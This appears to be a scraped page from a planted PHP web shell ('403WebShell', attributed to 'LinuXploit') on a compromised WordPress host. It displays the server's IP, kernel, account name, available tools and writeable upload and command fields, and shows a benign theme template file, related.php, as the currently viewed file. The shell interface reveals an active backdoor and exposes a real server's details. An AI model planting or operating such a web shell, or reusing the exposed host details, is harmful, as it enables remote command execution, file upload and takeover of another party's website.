Done ! 403WebShell
403Webshell
Server IP : 46.105.57.169  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux webm002.cluster120.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : verseaumee ( 152031)
PHP Version : 8.5.7
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/verseaumee/geniouskin/wp-content/themes/ixlab/tmpl/project/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/verseaumee/geniouskin/wp-content/themes/ixlab/tmpl/project/related.php
<?php
/**
 * The template for displaying related project
 */

/**
 * Prevent direct access to this file
 */
defined( 'ABSPATH' ) or die();

$options          = array( 'itemSelector' => '.project' );
$meta_information = (array)ixlab_option( 'projects__meta' );

/**
 * Ignore render related box when it's disabled
 */
if ( ! is_singular( 'nproject' ) ) {
	return;
}

// Query args
$args = array(
	'post_type'      => 'nproject',
	'posts_per_page' => ixlab_option( 'project__related__count', 4 ),
	'post__not_in'   => array( get_the_ID() )
);

$related_item_type = ixlab_option( 'project__related__type' );

// Filter by tags
if ( 'tag' == $related_item_type ) {
	if ( ! ( $terms = get_the_terms( get_the_ID(), nProjects::TYPE_TAG ) ) )
		return;

	$args['tax_query'] = array(
		'taxonomy' => nProjects::TYPE_TAG,
		'field'    => 'term_id',
		'terms'    => wp_list_pluck( $terms, 'term_id' )
	);
}
// Filter by categories
elseif ( 'category' == $related_item_type ) {
	if ( ! ( $terms = get_the_terms( get_the_ID(), nProjects::TYPE_CATEGORY ) ) )
		return;

	$args['tax_query'] = array(
		'taxonomy' => nProjects::TYPE_CATEGORY,
		'field'    => 'term_id',
		'terms'    => wp_list_pluck( $terms, 'term_id' )
	);
}
// Show random items
elseif ( 'random' == $related_item_type ) {
	$args['orderby'] = 'rand';
}
// Show latest items
elseif ( 'recent' == $related_item_type ) {
	$args['order'] = 'DESC';
	$args['orderby'] = 'date';
}

// Create the query instance
$query = new WP_Query( $args );
$widget_title = ixlab_option( 'project__related__title' );

if ( $query->have_posts() ): ?>

	<div id="projects-related" class="related-posts projects-style1 push-up">
		<?php if ( ! empty( $widget_title ) ): ?>
			<h3 class="related-posts-title">
				<?php echo do_shortcode( $widget_title ) ?>
			</h3>
		<?php endif ?>

		<div class="grid-projects content-inner" data-grid-normal data-columns="<?php echo esc_attr( ixlab_option( 'projects__related__gridColumns' ) ) ?>">
			<?php while ( $query->have_posts() ): $query->the_post(); ?>

				<article <?php post_class( 'project' ) ?> itemscope="itemscope" itemtype="http://schema.org/CreativeWork">
					<div class="project-inner">
						<figure class="project-thumbnail">
							<div class="client-info">
								<?php if ( ixlab_option( 'projects__excerpt' ) == 'on' ): ?>
									<div class="project-summary">
										<?php the_excerpt() ?>
									</div>
								<?php endif ?>
								<span class="client-thumb"><?php if ( $client_image_id = get_field( 'projectClientLogo', get_post() ) ): ?>
									<?php
										$image = ixlab_get_image_resized( array(
											'image_id' => $client_image_id,
											'size'     => 'full'
										) );

										echo wp_kses_post( $image['thumbnail'] );
									?>		
								<?php endif ?></span>
							</div>
							<a href="<?php the_permalink() ?>">
								<?php if ( $accent_color = get_field( 'projectAccentColor' ) ): ?>
									<span class="project-client-color" style="background-color: <?php echo esc_attr( $accent_color ) ?>;">
										<?php echo esc_html( $accent_color ) ?>
									</span>
								<?php endif ?>
								<span class="mask"></span>
								<?php
									$image = ixlab_get_image_resized( array(
										'post_id' => get_the_ID(),
										'size'    => ixlab_option( 'projects__imagesize' ),
										'crop'    => ixlab_option( 'projects__imagesizeCrop' ) == true
									) );

									echo ixlab_cleanup( $image['thumbnail'] );
								?>
							</a>
						</figure>

						<div class="project-info">
							<h2 class="project-title" itemprop="name headline">
								<a href="<?php the_permalink() ?>"><?php the_title() ?></a>
							</h2>
							<div class="project-categories">
								<?php echo get_the_term_list( get_the_ID(), 'nproject-category' ) ?>
							</div>
						</div>
					</div>
				</article>

			<?php endwhile ?>
		</div>
	</div>

<?php endif ?>

Youez - 2016 - github.com/yon3zu
LinuXploit